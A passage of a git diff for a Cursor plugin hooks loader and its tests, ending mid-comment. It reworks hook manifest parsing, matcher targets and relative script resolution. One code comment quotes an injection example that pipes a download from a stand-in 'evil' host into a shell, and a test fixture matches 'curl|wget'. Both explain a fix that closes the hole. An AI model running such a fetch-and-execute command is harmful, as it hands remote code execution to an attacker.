diff --git a/.cursor-plugin/scripts/hooks-loader.ts b/.cursor-plugin/scripts/hooks-loader.ts index 3afb28d..cc9c2b2 100755 --- a/.cursor-plugin/scripts/hooks-loader.ts +++ b/.cursor-plugin/scripts/hooks-loader.ts @@ -28,7 +28,7 @@ const PLUGINS_DIR = join( * @see https://cursor.com/docs/hooks — `subagentStart`/`subagentStop` payloads carry * `subagent_type`; Claude Code's `agent_type` does not exist in Cursor's contract. */ -type CursorHookInput = HookInput & { subagent_type?: string }; +type CursorHookInput = HookInput & { subagent_type?: string; command?: string }; async function main(): Promise { const hookType = process.argv[2]; @@ -56,6 +56,15 @@ async function main(): Promise { const toolName = input.tool_name ?? ""; const agentType = input.subagent_type ?? ""; + // Shell events carry the command line at the payload root; `preToolUse` nests it + // under `tool_input`. Both feed the matcher target for beforeShellExecution / + // afterShellExecution (see matchTarget in plugin-scanner.ts). + const command = + typeof input.command === "string" + ? input.command + : typeof input.tool_input?.command === "string" + ? input.tool_input.command + : ""; // DEBUG: Log subagentStart/subagentStop payload if (hookType === "subagentStart" || hookType === "subagentStop") { @@ -71,7 +80,7 @@ async function main(): Promise { // Extract matching hooks. Cursor has no "notification" event (Claude Code-only), // so that matcher branch in extractHooks is unreachable here — pass "" (dead arg). - const hooks = extractHooks(plugins, hookType, toolName, "", agentType); + const hooks = extractHooks(plugins, hookType, toolName, "", agentType, command); // No matching hooks → exit early if (hooks.length === 0) process.exit(0); @@ -92,4 +101,13 @@ async function main(): Promise { if (stdout) console.log(stdout); } -main().catch(() => process.exit(0)); +// Fail-open on stdout — Cursor must never be blocked by a loader crash — but NEVER +// silent: a bare `catch(() => exit(0))` once turned a TypeError in the plugin scanner +// into a clean exit, so every hook of every plugin was dead while the install looked +// healthy. stderr is the one channel Cursor ignores for the decision yet surfaces in +// its Hooks output panel, which makes the failure visible without changing behaviour. +main().catch((err: unknown) => { + const detail = err instanceof Error ? (err.stack ?? err.message) : String(err); + console.error(`[fusengine] hooks-loader failed for "${process.argv[2] ?? "?"}": ${detail}`); + process.exit(0); +}); diff --git a/.cursor-plugin/scripts/src/__tests__/hooks-harness-exclusive.helpers.ts b/.cursor-plugin/scripts/src/__tests__/hooks-harness-exclusive.helpers.ts index 5b4bafd..e40015a 100644 --- a/.cursor-plugin/scripts/src/__tests__/hooks-harness-exclusive.helpers.ts +++ b/.cursor-plugin/scripts/src/__tests__/hooks-harness-exclusive.helpers.ts @@ -5,11 +5,54 @@ // discoverHooksFiles moved to shared production util; re-exported for the test. export { discoverHooksFiles } from "../utils/hooks-discovery"; -export const HARNESS_MARKER = "node_modules/@fusengine/harness/dist/cli/bin.mjs hook cursor"; +/** + * Forme imposée par la checklist de soumission Cursor : « All paths in manifest are + * relative and valid (no `..`, no absolute paths) ». Un manifeste ne peut donc PAS + * nommer le binaire harness ; il appelle `./scripts/hook.sh`, seul ou suivi + * d'arguments (scope, `--sound stop`, …), et c'est le wrapper qui résout le harness. + * + * Le token d'argument est restreint à `[\w.=/-]+` (pas de `\S+`) : `\S+` matchait + * aussi bien un token contenant `;`, `&&`, `||`, `` ` ``, `$(…)` ou une redirection + * dès lors qu'il était séparé du wrapper par un espace — ex. `./scripts/hook.sh && + * curl evil | sh` passait la gate. Vérifié à l'exécution (bun -e) : verrouiller le + * charset ferme cette injection sans rejeter aucun des 21 manifestes réels. + * @see https://cursor.com/docs/reference/plugins — Submitting a plugin + */ +const WRAPPER_COMMAND = /^\.\/scripts\/hook\.sh(?:\s+[\w.=/-]+)*$/; + +/** Chemin du wrapper, relatif à la racine du plugin. */ +export const WRAPPER_RELATIVE_PATH = "scripts/hook.sh"; + +/** Marqueur du binaire harness — cherché dans le wrapper, jamais dans le manifeste. */ +export const HARNESS_MARKER = "@fusengine/harness/dist/cli/bin.mjs"; + +/** + * Vraie quand le manifeste délègue au wrapper plutôt qu'à une commande ad hoc. + * @param command - Ligne `command` d'une entrée de hook. + * @returns `true` si elle appelle `./scripts/hook.sh`. + */ +export function isWrapperCommand(command: string): boolean { + return WRAPPER_COMMAND.test(command); +} -/** True when a command hook delegates to the harness binary (tolerates ` || true`, flags, scope). */ -export function isHarnessCommand(command: string): boolean { - return command.startsWith("bun ") && command.includes(HARNESS_MARKER); +/** + * Vraie quand un `scripts/hook.sh` délègue réellement au harness. + * C'est la couche où « harness exclusif » est vérifiable : le wrapper résout + * `dist/cli/bin.mjs` et l'invoque en sous-commande `hook cursor`. + * @param source - Contenu du wrapper. + * @returns `true` si le harness y est bien invoqué. + */ +export function isHarnessWrapper(source: string): boolean { + return source.includes(HARNESS_MARKER) && /\bhook\s+cursor\b/.test(source); +} + +/** + * Racine absolue du plugin, depuis `.../plugins//hooks/hooks.json`. + * @param filePath - Chemin du manifeste. + * @returns Le dossier du plugin. + */ +export function pluginRootOf(filePath: string): string { + return filePath.replace(/\/hooks\/hooks\.json$/, ""); } /** Plugin name extracted from a `.../plugins//hooks/hooks.json` path. */ diff --git a/.cursor-plugin/scripts/src/__tests__/hooks-harness-exclusive.test.ts b/.cursor-plugin/scripts/src/__tests__/hooks-harness-exclusive.test.ts index ece3db7..1344a3e 100644 --- a/.cursor-plugin/scripts/src/__tests__/hooks-harness-exclusive.test.ts +++ b/.cursor-plugin/scripts/src/__tests__/hooks-harness-exclusive.test.ts @@ -1,28 +1,31 @@ /** * Anti-regression gate for the "harness exclusif" migration. * - * Every `type: "command"` hook in every `plugins//hooks/hooks.json` - * must delegate to @fusengine/harness, resolved from the marketplace's own - * shared install under plugins/marketplaces/fusengine-plugins/plugins/ - * node_modules (installDeps' node_modules — reused as-is, no separate - * per-user $HOME/.cursor/node_modules bootstrap anymore). + * Cursor plugin manifests are FLAT (`{ command, matcher?, type? }`) and their paths + * must be relative — the manifest can therefore never name the harness binary. The + * previous version of this gate looked for `block.hooks[]` (Claude Code's nested + * shape) and for a `bun …/@fusengine/harness/… hook cursor` command inside the + * manifest: on flat manifests the inner loop never ran, so the whole suite produced + * 22 assertions, none of them about a command. The invariant is checked at the two + * layers that actually carry it: + * 1. every command entry delegates to `./scripts/hook.sh` (relative, per Cursor's + * submission checklist); + * 2. that wrapper exists and invokes the harness binary. * Native `type: "prompt"` hooks are allowed and left untouched. - * Pure helpers live in ./hooks-harness-exclusive.helpers (kept separate to - * respect the 100-line SOLID limit on this file). + * @see https://cursor.com/docs/reference/plugins — Hooks format / Submitting a plugin */ import { describe, expect, test } from "bun:test"; -import { readFileSync } from "node:fs"; +import { existsSync, readFileSync } from "node:fs"; import { join } from "node:path"; import { + WRAPPER_RELATIVE_PATH, discoverHooksFiles, - isHarnessCommand, + isHarnessWrapper, + isWrapperCommand, pluginNameOf, + pluginRootOf, } from "./hooks-harness-exclusive.helpers"; -/** Absolute prefix every harness command must resolve through post-migration. */ -const MARKETPLACE_HARNESS_PATH = - "$HOME/.cursor/plugins/local/node_modules/@fusengine/harness"; - const PLUGINS_DIR = join(__dirname, "../../../plugins"); const hooksFiles = discoverHooksFiles(PLUGINS_DIR); @@ -50,45 +53,60 @@ describe("hooks-harness-exclusive (anti-regression gate)", () => { expect(config).toBeDefined(); }); - const events = config?.hooks ?? {}; + const wrapper = join(pluginRootOf(filePath), WRAPPER_RELATIVE_PATH); - for (const [eventName, blocks] of Object.entries(events)) { - for (const [blockIdx, block] of (blocks as Array>).entries()) { - const hooks = (block.hooks as Array>) ?? []; + test(`${WRAPPER_RELATIVE_PATH} exists and invokes the harness binary`, () => { + if (!existsSync(wrapper)) { + throw new Error(`${pluginName}: missing wrapper ${WRAPPER_RELATIVE_PATH}`); + } + expect(isHarnessWrapper(readFileSync(wrapper, "utf-8"))).toBe(true); + }); - for (const [hookIdx, hook] of hooks.entries()) { - const label = `${eventName}[${blockIdx}].hooks[${hookIdx}]`; + for (const [eventName, rawEntries] of Object.entries(config?.hooks ?? {})) { + // Guarded like the JSON.parse above: a manifest can carry a malformed + // event value (not an array) or a malformed entry (null/primitive). + // Both must fail a NAMED test, never throw here — a throw in this loop + // runs during describe collection and voids every test already queued + // for this plugin (verified empirically: bun:test reports 0 ran, not a + // failure, for the whole describe scope). + if (!Array.isArray(rawEntries)) { + test(`${eventName}: hook entries must be an array`, () => { + throw new Error( + `${pluginName} / ${eventName}: expected an array of hook entries, got ${typeof rawEntries}`, + ); + }); + continue; + } - if (hook.type === "prompt") continue; // native LLM hook, allowed as-is + for (const [idx, entry] of rawEntries.entries()) { + const label = `${eventName}[${idx}]`; - test(`${label}: type is "command"`, () => { - if (hook.type !== "command") { - throw new Error( - `${pluginName} / ${label}: unexpected hook type "${hook.type}" — only "command" and "prompt" are allowed`, - ); - } - expect(hook.type).toBe("command"); + if (entry === null || typeof entry !== "object") { + test(`${label}: must be an object`, () => { + throw new Error(`${pluginName} / ${label}: expected a hook entry object, got ${entry}`); }); + continue; + } - test(`${label}: command delegates to harness on the marketplace shared path`, () => { - const command = String(hook.command); - const harness = isHarnessCommand(command); + const record = entry as Record; + if (record.type === "prompt") continue; // native LLM hook, allowed as-is - // No more per-user bootstrap: every command must resolve the - // harness binary straight from the marketplace's node_modules. - if (!harness) { - throw new Error( - `${pluginName} / ${label}: command does not delegate to harness: "${command}"`, - ); - } - if (!command.includes(MARKETPLACE_HARNESS_PATH)) { - throw new Error( - `${pluginName} / ${label}: harness command not on marketplace shared path: "${command}"`, - ); - } - expect(harness).toBe(true); - }); - } + test(`${label}: delegates to ${WRAPPER_RELATIVE_PATH}`, () => { + if (record.type !== undefined && record.type !== "command") { + throw new Error( + `${pluginName} / ${label}: unexpected hook type "${record.type}" — only "command" and "prompt" are allowed`, + ); + } + if (typeof record.command !== "string") { + throw new Error(`${pluginName} / ${label}: command hook carries no command`); + } + if (!isWrapperCommand(record.command)) { + throw new Error( + `${pluginName} / ${label}: does not delegate to the wrapper: "${record.command}"`, + ); + } + expect(isWrapperCommand(record.command)).toBe(true); + }); } } }); diff --git a/.cursor-plugin/scripts/src/__tests__/plugin-scanner-home-resolution.test.ts b/.cursor-plugin/scripts/src/__tests__/plugin-scanner-home-resolution.test.ts index b7c0689..c7e2098 100644 --- a/.cursor-plugin/scripts/src/__tests__/plugin-scanner-home-resolution.test.ts +++ b/.cursor-plugin/scripts/src/__tests__/plugin-scanner-home-resolution.test.ts @@ -18,15 +18,13 @@ describe("extractHooks — $HOME runtime resolution", () => { hasHooks: true, config: { hooks: { - PreToolUse: [ - { hooks: [{ type: "command", command: "bun $HOME/.cursor/bin.mjs" }] }, - ], + preToolUse: [{ command: "bun $HOME/.cursor/bin.mjs" }], }, }, }, ]; - const result = extractHooks(plugins, "PreToolUse", "", ""); + const result = extractHooks(plugins, "preToolUse", "", ""); expect(result[0].command).toBe(`bun ${HOME}/.cursor/bin.mjs`); expect(result[0].command).not.toContain("$HOME"); @@ -40,20 +38,16 @@ describe("extractHooks — $HOME runtime resolution", () => { hasHooks: true, config: { hooks: { - PreToolUse: [ - { - hooks: [ - // biome-ignore lint/suspicious/noTemplateCurlyInString: shell env var syntax - { type: "command", command: "bun ${HOME}/.cursor/bin.mjs" }, - ], - }, + preToolUse: [ + // biome-ignore lint/suspicious/noTemplateCurlyInString: shell env var syntax + { command: "bun ${HOME}/.cursor/bin.mjs" }, ], }, }, }, ]; - const result = extractHooks(plugins, "PreToolUse", "", ""); + const result = extractHooks(plugins, "preToolUse", "", ""); expect(result[0].command).toBe(`bun ${HOME}/.cursor/bin.mjs`); expect(result[0].command).not.toContain("${HOME}"); diff --git a/.cursor-plugin/scripts/src/__tests__/plugin-scanner-matcher.test.ts b/.cursor-plugin/scripts/src/__tests__/plugin-scanner-matcher.test.ts new file mode 100644 index 0000000..2c4b720 --- /dev/null +++ b/.cursor-plugin/scripts/src/__tests__/plugin-scanner-matcher.test.ts @@ -0,0 +1,106 @@ +/** + * Tests for matcher filtering in extractHooks — per-event target selection. + * Split out of plugin-scanner.test.ts (file-size limit), mirroring the existing + * plugin-scanner-home-resolution.test.ts split convention. + * + * Fixtures use Cursor's FLAT entry shape (`{ command, matcher? }`), the only one a + * plugin `hooks.json` carries. They previously used Claude Code's nested + * `hooks: [{ type, command }]`, which kept this suite green against a shape the + * production never produces — while extractHooks crashed on every real manifest. + * @see https://cursor.com/docs/hooks — "Available matchers by hook" + */ +import { describe, expect, test } from "bun:test"; +import { extractHooks } from "../services/plugin-scanner"; + +const TEST_DIR = "/tmp/fusengine-test-plugins-matcher"; + +/** Build a one-plugin fixture carrying a single event's entries. */ +function fixture(event: string, entries: unknown[]) { + return [ + { + name: "test-plugin", + path: TEST_DIR, + hasHooks: true, + config: { hooks: { [event]: entries } }, + }, + ] as Parameters[0]; +} + +describe("extractHooks — matcher targets", () => { + test("filters by tool name on preToolUse", () => { + const plugins = fixture("preToolUse", [ + { matcher: "Write|Edit", command: "echo write-edit" }, + { matcher: "Shell", command: "echo shell" }, + ]); + + expect(extractHooks(plugins, "preToolUse", "Write", "")).toHaveLength(1); + expect(extractHooks(plugins, "preToolUse", "Edit", "")).toHaveLength(1); + expect(extractHooks(plugins, "preToolUse", "Shell", "")).toHaveLength(1); + expect(extractHooks(plugins, "preToolUse", "Read", "")).toHaveLength(0); + }); + + test("matches everything when no matcher is set", () => { + const plugins = fixture("preToolUse", [{ command: "echo all" }]); + + expect(extractHooks(plugins, "preToolUse", "AnyTool", "")).toHaveLength(1); + }); + + test("beforeShellExecution matches the command line, not the tool name", () => { + const plugins = fixture("beforeShellExecution", [ + { matcher: "curl|wget", command: "echo net" }, + ]); + + const hit = extractHooks(plugins, "beforeShellExecution", "", "", "", "curl https://x"); + const miss = extractHooks(plugins, "beforeShellExecution", "", "", "", "ls -la"); + + expect(hit).toHaveLength(1); + expect(miss).toHaveLength(0); + }); + + test("beforeMCPExecution matches the synthesised MCP: form", () => { + const plugins = fixture("beforeMCPExecution", [ + { matcher: "MCP:(query-docs|web_search_exa)", command: "echo mcp" }, + ]); + + // The MCP: prefix never appears in the raw tool_name — it is built per event. + expect(extractHooks(plugins, "beforeMCPExecution", "query-docs", "")).toHaveLength(1); + expect(extractHooks(plugins, "beforeMCPExecution", "resolve-library-id", "")).toHaveLength(0); + }); + + test("subagent events match the subagent type", () => { + const plugins = fixture("subagentStart", [ + { matcher: "explore|shell", command: "echo sub" }, + ]); + + expect(extractHooks(plugins, "subagentStart", "", "", "explore")).toHaveLength(1); + expect(extractHooks(plugins, "subagentStart", "", "", "generalPurpose")).toHaveLength(0); + }); + + test("fixed-target events match their constant", () => { + const stop = fixture("stop", [{ matcher: "Stop", command: "echo stop" }]); + const submit = fixture("beforeSubmitPrompt", [ + { matcher: "UserPromptSubmit", command: "echo submit" }, + ]); + + expect(extractHooks(stop, "stop", "", "")).toHaveLength(1); + expect(extractHooks(submit, "beforeSubmitPrompt", "", "")).toHaveLength(1); + }); + + test("skips a prompt entry — it carries no command to spawn", () => { + const plugins = fixture("stop", [ + { command: "echo real" }, + { type: "prompt", prompt: "Did the agent follow the workflow?", timeout: 15 }, + ]); + + const result = extractHooks(plugins, "stop", "", ""); + + expect(result).toHaveLength(1); + expect(result[0].command).toBe("echo real"); + }); + + test("an invalid regex matches nothing instead of throwing", () => { + const plugins = fixture("preToolUse", [{ matcher: "Write|(unclosed", command: "echo x" }]); + + expect(extractHooks(plugins, "preToolUse", "Write", "")).toHaveLength(0); + }); +}); diff --git a/.cursor-plugin/scripts/src/__tests__/plugin-scanner-script-path.test.ts b/.cursor-plugin/scripts/src/__tests__/plugin-scanner-script-path.test.ts new file mode 100644 index 0000000..1e19c16 --- /dev/null +++ b/.cursor-plugin/scripts/src/__tests__/plugin-scanner-script-path.test.ts @@ -0,0 +1,85 @@ +/** + * Tests for relative-script resolution in extractHooks. + * Split out of plugin-scanner.test.ts (file-size limit), mirroring the existing + * plugin-scanner-home-resolution.test.ts / plugin-scanner-matcher.test.ts convention. + * + * Manifests declare `./scripts/hook.sh` — the form Cursor's submission checklist + * requires (no absolute paths). hook-executor spawns argv with no `cwd` (it only + * passes CURSOR_PLUGIN_ROOT in the env), so an unresolved relative path is never + * found: the hook fails and fail-open makes that silent. + * @see https://cursor.com/docs/hooks + */ +import { describe, expect, test } from "bun:test"; +import { extractHooks } from "../services/plugin-scanner"; + +const TEST_DIR = "/tmp/fusengine-test-plugins-path"; + +/** Build a one-plugin fixture carrying a single event's entries. */ +function fixture(event: string, entries: unknown[]) { + return [ + { + name: "test-plugin", + path: TEST_DIR, + hasHooks: true, + config: { hooks: { [event]: entries } }, + }, + ] as Parameters[0]; +} + +describe("extractHooks — relative script resolution", () => { + test("resolves ./ against the plugin root", () => { + const plugins = fixture("preToolUse", [{ command: "./scripts/hook.sh" }]); + + expect(extractHooks(plugins, "preToolUse", "", "")[0].command).toBe( + `${TEST_DIR}/scripts/hook.sh`, + ); + }); + + test("keeps the arguments after the script untouched", () => { + const plugins = fixture("preToolUse", [ + { command: "./scripts/hook.sh aipilot --sound stop" }, + ]); + + expect(extractHooks(plugins, "preToolUse", "", "")[0].command).toBe( + `${TEST_DIR}/scripts/hook.sh aipilot --sound stop`, + ); + }); + + test("resolves ../ as well", () => { + const plugins = fixture("preToolUse", [{ command: "../shared/hook.sh" }]); + + expect(extractHooks(plugins, "preToolUse", "", "")[0].command).toBe("/tmp/shared/hook.sh"); + }); + + test("leaves absolute and bare commands alone", () => { + const plugins = fixture("preToolUse", [ + { command: "/usr/local/bin/guard.sh" }, + { command: "bun /abs/path/x.ts hook cursor" }, + { command: "afplay /sound.wav" }, + ]); + + const result = extractHooks(plugins, "preToolUse", "", ""); + + expect(result[0].command).toBe("/usr/local/bin/guard.sh"); + expect(result[1].command).toBe("bun /abs/path/x.ts hook cursor"); + expect(result[2].command).toBe("afplay /sound.wav"); + }); + + test("an afplay command stays flagged async", () => { + const plugins = fixture("stop", [{ command: "afplay /sound.wav" }]); + + expect(extractHooks(plugins, "stop", "", "")[0].isAsync).toBe(true); + }); + + test("placeholder substitution still runs before resolution", () => { + const plugins = fixture("preToolUse", [ + // biome-ignore lint/suspicious/noTemplateCurlyInString: shell env var syntax + { command: "bash ${CURSOR_PLUGIN_ROOT}/scripts/x.sh" }, + ]); + + // Already absolute after substitution — resolution must not touch it again. + expect(extractHooks(plugins, "preToolUse", "", "")[0].command).toBe( + `bash ${TEST_DIR}/scripts/x.sh`, + ); + }); +}); diff --git a/.cursor-plugin/scripts/src/__tests__/plugin-scanner.test.ts b/.cursor-plugin/scripts/src/__tests__/plugin-scanner.test.ts index 48c2547..7028b70 100644 --- a/.cursor-plugin/scripts/src/__tests__/plugin-scanner.test.ts +++ b/.cursor-plugin/scripts/src/__tests__/plugin-scanner.test.ts @@ -1,5 +1,12 @@ /** - * Tests for plugin-scanner service + * Tests for plugin-scanner service. + * + * Fixtures use Cursor's FLAT entry shape (`{ command, matcher? }`), the only one a + * plugin `hooks.json` carries. They previously used Claude Code's nested + * `hooks: [{ type, command }]`, which kept this suite green against a shape the + * production never produces — while extractHooks crashed on every real manifest. + * Matcher-target cases live in plugin-scanner-matcher.test.ts (file-size split). + * @see https://cursor.com/docs/hooks */ import { afterEach, beforeEach, describe, expect, test } from "bun:test"; import { mkdirSync, rmSync, writeFileSync } from "node:fs"; @@ -28,7 +35,7 @@ describe("plugin-scanner", () => { mkdirSync(pluginDir, { recursive: true }); writeFileSync( join(pluginDir, "hooks.json"), - JSON.stringify({ hooks: { PreToolUse: [] } }), + JSON.stringify({ hooks: { preToolUse: [] } }), ); const result = scanPlugins({ pluginsDir: TEST_DIR }); @@ -53,12 +60,10 @@ describe("plugin-scanner", () => { }); test("scans multiple plugins", () => { - // Plugin 1 with hooks const plugin1 = join(TEST_DIR, "plugin-a", "hooks"); mkdirSync(plugin1, { recursive: true }); writeFileSync(join(plugin1, "hooks.json"), JSON.stringify({ hooks: {} })); - // Plugin 2 with hooks const plugin2 = join(TEST_DIR, "plugin-b", "hooks"); mkdirSync(plugin2, { recursive: true }); writeFileSync(join(plugin2, "hooks.json"), JSON.stringify({ hooks: {} })); @@ -95,19 +100,12 @@ describe("plugin-scanner", () => { path: join(TEST_DIR, "test-plugin"), hasHooks: true, config: { - hooks: { - PreToolUse: [ - { - matcher: "Write", - hooks: [{ type: "command", command: "echo test" }], - }, - ], - }, + hooks: { preToolUse: [{ matcher: "Write", command: "echo test" }] }, }, }, ]; - const result = extractHooks(plugins, "PreToolUse", "Write", ""); + const result = extractHooks(plugins, "preToolUse", "Write", ""); expect(result).toHaveLength(1); expect(result[0].command).toContain("echo test"); @@ -120,77 +118,15 @@ describe("plugin-scanner", () => { name: "test-plugin", path: TEST_DIR, hasHooks: true, - config: { - hooks: { - PreToolUse: [{ hooks: [{ type: "command", command: "echo" }] }], - }, - }, + config: { hooks: { preToolUse: [{ command: "echo" }] } }, }, ]; - const result = extractHooks(plugins, "PostToolUse", "", ""); + const result = extractHooks(plugins, "postToolUse", "", ""); expect(result).toEqual([]); }); - test("filters by tool name matcher", () => { - const plugins = [ - { - name: "test-plugin", - path: TEST_DIR, - hasHooks: true, - config: { - hooks: { - PreToolUse: [ - { - matcher: "Write|Edit", - hooks: [{ type: "command", command: "echo write-edit" }], - }, - { - matcher: "Bash", - hooks: [{ type: "command", command: "echo bash" }], - }, - ], - }, - }, - }, - ]; - - const writeHooks = extractHooks(plugins, "PreToolUse", "Write", ""); - const editHooks = extractHooks(plugins, "PreToolUse", "Edit", ""); - const bashHooks = extractHooks(plugins, "PreToolUse", "Bash", ""); - const readHooks = extractHooks(plugins, "PreToolUse", "Read", ""); - - expect(writeHooks).toHaveLength(1); - expect(editHooks).toHaveLength(1); - expect(bashHooks).toHaveLength(1); - expect(readHooks).toHaveLength(0); - }); - - test("matches all when no matcher specified", () => { - const plugins = [ - { - name: "test-plugin", - path: TEST_DIR, - hasHooks: true, - config: { - hooks: { - PreToolUse: [ - { - // No matcher = match all - hooks: [{ type: "command", command: "echo all" }], - }, - ], - }, - }, - }, - ]; - - const anyHooks = extractHooks(plugins, "PreToolUse", "AnyTool", ""); - - expect(anyHooks).toHaveLength(1); - }); - test("replaces CURSOR_PLUGIN_ROOT in commands", () => { const plugins = [ { @@ -199,23 +135,16 @@ describe("plugin-scanner", () => { hasHooks: true, config: { hooks: { - PreToolUse: [ - { - hooks: [ - { - type: "command", - // biome-ignore lint/suspicious/noTemplateCurlyInString: shell env var syntax - command: "bash ${CURSOR_PLUGIN_ROOT}/scripts/test.sh", - }, - ], - }, + preToolUse: [ + // biome-ignore lint/suspicious/noTemplateCurlyInString: shell env var syntax + { command: "bash ${CURSOR_PLUGIN_ROOT}/scripts/test.sh" }, ], }, }, }, ]; - const result = extractHooks(plugins, "PreToolUse", "", ""); + const result = extractHooks(plugins, "preToolUse", "", ""); expect(result[0].command).toBe("bash /path/to/plugin/scripts/test.sh"); }); @@ -226,19 +155,11 @@ describe("plugin-scanner", () => { name: "test-plugin", path: TEST_DIR, hasHooks: true, - config: { - hooks: { - Stop: [ - { - hooks: [{ type: "command", command: "afplay /sound.wav" }], - }, - ], - }, - }, + config: { hooks: { stop: [{ command: "afplay /sound.wav" }] } }, }, ]; - const result = extractHooks(plugins, "Stop", "", ""); + const result = extractHooks(plugins, "stop", "", ""); expect(result[0].isAsync).toBe(true); }); @@ -253,7 +174,7 @@ describe("plugin-scanner", () => { }, ]; - const result = extractHooks(plugins, "PreToolUse", "", ""); + const result = extractHooks(plugins, "preToolUse", "", ""); expect(result).toEqual([]); }); diff --git a/.cursor-plugin/scripts/src/interfaces/hooks.ts b/.cursor-plugin/scripts/src/interfaces/hooks.ts index 390b476..8ca40a6 100644 --- a/.cursor-plugin/scripts/src/interfaces/hooks.ts +++ b/.cursor-plugin/scripts/src/interfaces/hooks.ts @@ -7,16 +7,29 @@ export type { HookType } from "./hook-types"; export { HOOK_TYPES } from "./hook-types"; -/** Configuration d'un hook individuel */ -export interface HookCommand { - type: string; - command: string; -} - -/** Entrée de hook avec matcher */ +/** + * Entrée de hook d'un `hooks.json` de plugin — forme PLATE, la seule que Cursor accepte. + * + * La commande est portée par l'entrée elle-même. La forme imbriquée de Claude Code + * (`{ matcher, hooks: [{ type, command }] }`) n'existe que dans `.claude/settings.json`, + * converti par une couche de compatibilité distincte — jamais dans un `hooks.json` natif. + * Une entrée peut aussi être évaluée par le LLM (`{ type: "prompt", prompt }`), sans `command`. + * @see https://cursor.com/docs/hooks — "Per-Script Configuration Options" + * @see https://cursor.com/docs/reference/third-party-hooks — "Migration from Claude Code" + */ export interface HookEntry { + /** Regex testée contre une cible dépendant de l'event. Absente = tout passe. */ matcher?: string; - hooks: HookCommand[]; + /** Requis pour un hook `command` ; absent sur un hook `prompt`. */ + command?: string; + /** `"command"` (défaut) ou `"prompt"`. */ + type?: string; + /** Condition en langage naturel, requise quand `type === "prompt"`. */ + prompt?: string; + /** Secondes avant kill. */ + timeout?: number; + /** `true` : un échec du hook bloque au lieu de laisser passer. */ + failClosed?: boolean; } /** Configuration complète des hooks d'un plugin */ @@ -24,6 +37,23 @@ export interface HooksConfig { hooks: Record; } +/** + * Valeurs extraites du payload, contre lesquelles un matcher est confronté. + * + * Cursor teste le matcher sur une cible qui varie selon l'event ; ce contexte porte + * toutes les cibles possibles pour que le choix se fasse en un seul endroit. + */ +export interface MatchContext { + /** `tool_name` du payload. */ + toolName: string; + /** Ligne de commande, pour les events shell. */ + command: string; + /** `subagent_type`, pour les events de sous-agent. */ + agentType: string; + /** Type de notification — Claude Code uniquement, sans équivalent Cursor. */ + notifType: string; +} + /** Commande à exécuter avec métadonnées */ export interface ExecutableHook { command: string; diff --git a/.cursor-plugin/scripts/src/services/plugin-scanner.ts b/.cursor-plugin/scripts/src/services/plugin-scanner.ts index 0a168c8..d86b4e2 100644 --- a/.cursor-plugin/scripts/src/services/plugin-scanner.ts +++ b/.cursor-plugin/scripts/src/services/plugin-scanner.ts @@ -7,6 +7,7 @@ import { join } from "node:path"; import type { ExecutableHook, HookEntry, + MatchContext, PluginInfo, ScannerConfig, } from "../interfaces/hooks"; @@ -35,61 +36,130 @@ export function scanPlugins(config: ScannerConfig): PluginInfo[] { }); } -/** Extract executable hooks for a given type */ +/** + * Collecte les commandes à exécuter pour un event donné. + * + * @param plugins - Plugins scannés. + * @param hookType - Event Cursor (lower-camel). + * @param toolName - `tool_name` du payload. + * @param notifType - Type de notification (Claude Code seulement ; passer `""`). + * @param agentType - `subagent_type` du payload. + * @param command - Ligne de commande, requise pour les events shell. + * @returns Les hooks dont le matcher accepte ce contexte. + */ export function extractHooks( plugins: PluginInfo[], hookType: string, toolName: string, notifType: string, agentType = "", + command = "", ): ExecutableHook[] { const hooks: ExecutableHook[] = []; + const ctx: MatchContext = { toolName, command, agentType, notifType }; for (const plugin of plugins) { if (!plugin.config) continue; const entries: HookEntry[] = plugin.config.hooks?.[hookType] ?? []; for (const entry of entries) { - if (!matchesFilter(entry.matcher, hookType, toolName, notifType, agentType)) continue; - - for (const hook of entry.hooks) { - if (hook.type && hook.type !== "command") continue; - // $HOME/${HOME} runtime fallback: a marketplace re-checkout resets - // hooks.json to its git-tracked literal (resolveHomeInHooks only - // rewrites install-time), and hook-executor spawns argv directly - // with no shell to expand it — resolve here too, mirroring - // CURSOR_PLUGIN_ROOT/CLAUDE_PROJECT_DIR above. - const command = hook.command - .replace(/\$\{CURSOR_PLUGIN_ROOT\}/g, plugin.path) - .replace(/\$\{CLAUDE_PROJECT_DIR\}/g, process.cwd()) - .replace(/\$\{HOME\}/g, HOME) - .replace(/\$HOME/g, HOME); - hooks.push({ command, isAsync: command.startsWith("afplay"), pluginName: plugin.name, pluginPath: plugin.path }); - } + if (!matchesEntry(entry.matcher, hookType, ctx)) continue; + // Cursor entries are flat: the command sits on the entry itself. A `prompt` + // entry (LLM-evaluated, e.g. core-guards/stop[1]) carries no `command` and + // is not ours to spawn — skip it rather than push an undefined command. + if (entry.type && entry.type !== "command") continue; + if (!entry.command) continue; + // $HOME/${HOME} runtime fallback: a marketplace re-checkout resets + // hooks.json to its git-tracked literal (resolveHomeInHooks only + // rewrites install-time), and hook-executor spawns argv directly + // with no shell to expand it — resolve here too, mirroring + // CURSOR_PLUGIN_ROOT/CLAUDE_PROJECT_DIR above. + const command = resolveRelativeScript( + entry.command + .replace(/\$\{CURSOR_PLUGIN_ROOT\}/g, plugin.path) + .replace(/\$\{CLAUDE_PROJECT_DIR\}/g, process.cwd()) + .replace(/\$\{HOME\}/g, HOME) + .replace(/\$HOME/g, HOME), + plugin.path, + ); + hooks.push({ command, isAsync: command.startsWith("afplay"), pluginName: plugin.name, pluginPath: plugin.path }); } } return hooks; } -/** Check if a matcher matches the current context */ -function matchesFilter( - matcher: string | undefined, - hookType: string, - toolName: string, - notifType: string, - agentType = "", -): boolean { - if (!matcher) return true; +/** + * Résout un chemin de script relatif contre la racine du plugin. + * + * Les manifestes déclarent `./scripts/hook.sh` — la forme que la checklist de soumission + * Cursor exige (aucun chemin absolu). Le hook est ensuite spawné sans shell et sans `cwd`, + * donc un chemin relatif serait résolu contre le répertoire courant de l'éditeur et + * introuvable : le hook échoue, et le fail-open le rend silencieux. + * Seul le premier token est réécrit ; les arguments ne sont pas touchés. + * @param command - Ligne de commande du manifeste, placeholders déjà substitués. + * @param pluginPath - Racine absolue du plugin. + * @returns La même ligne, son exécutable rendu absolu s'il était relatif. + */ +function resolveRelativeScript(command: string, pluginPath: string): string { + if (!command.startsWith("./") && !command.startsWith("../")) return command; + const cut = command.indexOf(" "); + const script = cut === -1 ? command : command.slice(0, cut); + const args = cut === -1 ? "" : command.slice(cut); + return `${join(pluginPath, script)}${args}`; +} + +/** + * Cible contre laquelle Cursor teste le matcher, par event. + * + * Cursor filtre lui-même quand un matcher figure dans son propre `hooks.json` ; ici + * `~/.cursor/hooks.json` ne câble qu'un hook nu par 